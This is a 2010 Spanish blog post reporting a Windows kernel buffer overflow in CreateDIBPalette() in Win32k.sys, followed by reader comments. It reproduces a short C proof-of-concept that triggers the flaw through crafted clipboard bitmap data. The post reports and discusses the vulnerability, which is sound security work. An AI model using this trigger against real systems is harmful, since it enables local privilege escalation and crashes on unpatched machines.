07 agosto 2010

Nueva vulnerabilidad afecta a todos los sistemas Windows

Se ha publicado otra vulnerabilidad que afecta al kernel de todos los sistemas operativos Windows en su último nivel de parcheo: XP, 2003, 2008, Vista y 7. El error permite escalar privilegios y ejecutar código con permisos de kernel.

El fallo es un buffer overflow en la función CreateDIBPalette(), localizado en el archivo Win32k.sys.
Pese a la gravedad de la vulnerabilidad VUPEN le ha asignado criticidad media, imagino que por no ser explotable remotamente y para la que a día de hoy no hay parche.

Parece que últimamente le están creciendo los enanos a Microsoft, incluso después de la dolorosa y tardía implantación de DEP y ASLR en su mejor y más seguro sistema operativo.

En la web de Insanely Low-Level, se puede observar la llamada al miembro biClrUsed:

DEVMODE dm = {0};
dm.dmSize  = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);

BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;

HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);

OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();

OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);

3 comments :

anoonimo dijo...

Pobrecillos, no ganan para disgustos!

Gracias por estar tan atento y mantenernos informados :D

Anónimo dijo...

Muchas gracias por su info...
Usuario de 70 años que está harto de que Windows sea un puro queso gruyere.

Say What ?? dijo...

No tenian suficiente con el 0day con el mismo riesgo que publico el compañero de google ... llega a ser remoto y la que se arma es gorda.